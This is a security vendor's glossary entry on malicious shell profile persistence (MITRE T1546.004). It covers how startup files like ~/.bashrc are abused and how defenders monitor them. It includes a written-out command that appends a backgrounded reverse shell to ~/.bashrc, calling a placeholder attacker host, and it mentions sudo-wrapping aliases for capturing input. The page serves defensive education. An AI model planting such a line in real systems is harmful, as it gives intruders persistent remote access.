Persistence · Term

What is a malicious shell profile?

Shell startup files like ~/.bashrc run every time a user opens a shell. Attackers add a line that launches their payload, persistence that triggers on normal user activity. Here is how.

Persistence · TermAll services
TL;DR

A malicious shell profile is persistence that adds attacker commands to a shell startup file, ~/.bashrc, ~/.bash_profile, ~/.profile, ~/.zshrc, or system-wide /etc/profile and /etc/profile.d/, so the payload runs every time a shell starts. It triggers on normal user activity (opening a terminal, an SSH login), needs only write access to the file (no root for user files), and hides among ordinary configuration. It maps to MITRE T1546.004.

By John Dill, Red Team Lead, SecureLayer7Updated

What it is

When a shell starts, it executes its startup files to set up the environment: ~/.bashrc and ~/.bash_profile for Bash, ~/.zshrc for Zsh, plus system-wide /etc/profile and the /etc/profile.d/ scripts.

A malicious shell profile is the attacker adding a line to one of these. Because the file runs every time a shell opens, their command executes on the user’s normal activity, no special trigger required.

The technique and payload

The attacker appends to a startup file:

  • User-level (no root): echo 'bash -c "bash -i >& /dev/tcp/ATTACKER/443 0>&1" &' >> ~/.bashrc fires a backgrounded reverse shell each time the user opens a shell.
  • System-wide (root): drop a script in /etc/profile.d/ so it runs for every user’s login shell.
  • Subtler: define a malicious alias or function (for example wrapping sudo) to capture input or run code.

It triggers on the next interactive shell or SSH login. Documented for defensive context.

How to defend

  • Monitor shell startup files (user dotfiles and /etc/profile, /etc/profile.d/, /etc/bash.bashrc) for changes via file integrity monitoring.
  • Baseline legitimate dotfiles and review them, especially on shared and service accounts.
  • Alert on profile contents that spawn shells, make network connections, or define suspicious aliases/functions (like a sudo wrapper).
  • Limit root to protect the system-wide profile files.
  • Audit new or recently modified dotfiles after suspected compromise.

References

  1. [1]MITRE ATT&CK: Event Triggered Execution (T1546)(MITRE)
  2. [2]Linux man-pages: bash startup files(man7.org)
  3. [3]MITRE ATT&CK: Persistence (TA0003)(MITRE)
Related terms

Common questions

Persistence, asked often

Want your environment checked for attacker persistence?

Scope an engagement

Find the backdoors an attacker would leave behind.

Our red-team and internal penetration tests show where an intruder could hide to survive a reboot or a password reset, registry keys, scheduled tasks, services, web shells, and rogue accounts, then hand your team the evidence and the fix. Free re-test included.

See all services30-min scoping call, fixed-price proposal in 48 hours.